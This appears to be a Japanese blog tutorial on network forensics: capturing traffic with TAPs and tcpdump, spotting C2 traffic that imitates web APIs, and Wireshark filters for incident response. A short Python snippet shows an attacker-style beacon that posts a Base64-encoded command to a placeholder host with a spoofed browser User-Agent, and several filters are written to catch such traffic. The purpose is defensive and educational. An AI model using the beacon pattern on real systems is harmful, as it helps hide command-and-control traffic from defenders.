ネットワークの「嘘」を見抜く—PCAPで暴くマルウェアの生存戦略
深夜2時、SOCのアラートが鳴り響く。EDRのログには「不審な外部通信」と「PowerShellによる難読化スクリプトの実行」が記録されている。しかし、画面越しに見えるのは断片的な事象に過ぎない。インシデント対応の現場において、最後に行き着く「真実」は、いつもパケットの中にある。
今日は、教科書的な防御論ではなく、泥臭い現場で生き残るための「ネットワークフォレンジック」の手法を深掘りしていこう。
—
1. 証拠保全の生命線:ミラーポートとTAPの使い分け
まず大前提として、パケットが取れていなければ、どんな天才的なアナリストも手も足も出ない。ネットワーク境界や重要セグメントのスイッチで、適切にトラフィックをミラーリング(SPAN/RSPAN/ERSPAN)できているか。
- TAP(Test Access Point): 物理的に回線を分岐させるため、スイッチの負荷に依存せず、遅延も発生させない。精度を求めるならこれ一択だ。
- ミラーポート: スイッチの機能でパケットをコピーする。手軽だが、高負荷時にパケットドロップが発生するリスクがある。フォレンジックの証拠としては「欠落」が致命的になることを忘れてはならない。
tcpdump を仕掛ける際は、バッファリングやディスク書き込み負荷を考慮し、以下のように最低限のフィルタリングをかけるのが定石だ。
# 特定のインターフェースから、不審なIPへの通信をキャプチャしてファイルへ保存
# -i: インターフェース指定, -w: ファイル出力, -s 0: パケット全体を記録
tcpdump -i eth0 host 192.168.1.50 -w incident_capture.pcap -s 0
—
2. Web APIを悪用したC2通信を紐解く
最近のマルウェアは、巧妙に正規のWeb APIに擬態する。例えば、C2(Command & Control)サーバーとの通信に Fetch API や curl を模したHTTPSリクエストを使い、セキュリティ製品の目を潜り抜けるのだ。
攻撃者が悪用するAPI通信の典型的なシーケンスを、Pythonの scapy で解析する視点で見てみよう。攻撃者は POST リクエストの User-Agent を偽装し、JSONのボディに難読化した命令を詰め込む。
攻撃者が送り出すリクエストの構造(例)
# Pythonでの攻撃想定スクリプトの断片
import requests
# 難読化されたデータを含んだPOSTリクエスト
url = "https://legit-service.example.com/api/v1/update"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Content-Type": "application/json"
}
payload = {"data": "dGhpcyBpcyBhIG1hbGljaW91cyBwYXlsb2Fk"} # Base64エンコード
# ここで送信されるHTTPヘッダーとペイロードをPCAPから抽出する
response = requests.post(url, json=payload, headers=headers)
解析のポイント: パケット解析時に注目すべきは Host ヘッダーと SNI(Server Name Indication) の不整合だ。DNS クエリで引いたドメインと、HTTPSハンドシェイク時の SNI が一致しているか? ここに食い違いがあれば、それは高確率でプロキシやトンネリングを悪用したマルウェア通信のサインだ。
—
3. Wiresharkでの「追跡」:HTTPストリームの復元
PCAPを取得したら、Wireshark で「Follow TCP Stream」を実行する。ここで重要なのは、単に中身を見るだけでなく、TCPのシーケンス番号(Seq)と確認応答(Ack)を追うことだ。
もし通信が途中で RST フラグを立てて切断されている場合、それはIDS/IPSによる遮断ではなく、マルウェア自体がコネクションをクリーンアップしている可能性がある。
実務で役立つWiresharkフィルタリング
以下のフィルタを駆使して、ノイズの中から「牙」を見つけ出せ。
# HTTPのPOSTリクエストだけを抽出
http.request.method == "POST"
# 特定の不正なUser-Agentを抽出
http.user_agent contains "PowerShell"
# TLSハンドシェイクのSNIを確認(TLS 1.2/1.3の調査に必須)
tls.handshake.extensions_server_name
—
4. インフラエンジニアへの提言:防御から検知へ
ゼロトラストの時代、境界防御は「破られること」を前提とする。PCAPデータは、単なる事後報告書を作るための道具ではない。
- APIエンドポイントの監視: APIゲートウェイのログとPCAPを突き合わせ、異常なペイロードサイズや異常なリクエスト頻度がないか、自動的にアラートを上げる仕組みを作る。
- TLS復号: 昨今のトラフィックは9割以上が暗号化されている。フォレンジックのために、特定のプロキシ経由でTLS通信を復号し、ミラーポートに流すアーキテクチャを検討すべきだ。
最後に一つだけ。インシデント対応で最も恐ろしいのは「見えない通信」ではない。「見えているのに、それが何かわからない」という迷いだ。だからこそ、日頃から curl で意図的にトラフィックを作り、それを tcpdump でキャプチャし、Wiresharkで構造を理解しておく。
# 自身の環境でダミーのC2通信を発生させ、パケット構造を確認するコマンド
curl -v -X POST https://httpbin.org/post \
-H "Content-Type: application/json" \
-d '{"heartbeat": "active"}'
このコマンドが生成するパケットが、どう Ethernet フレームに包まれ、どう TCP でセグメント化され、どう TLS で隠蔽されるのか。それを肌感覚で知っているエンジニアだけが、有事の際にキーボードを叩き、攻撃者のロジックを逆手に取ることができる。
ネットワークは嘘をつかない。君たちがパケットと向き合う姿勢こそが、組織を救う最後の防壁になる。
コメント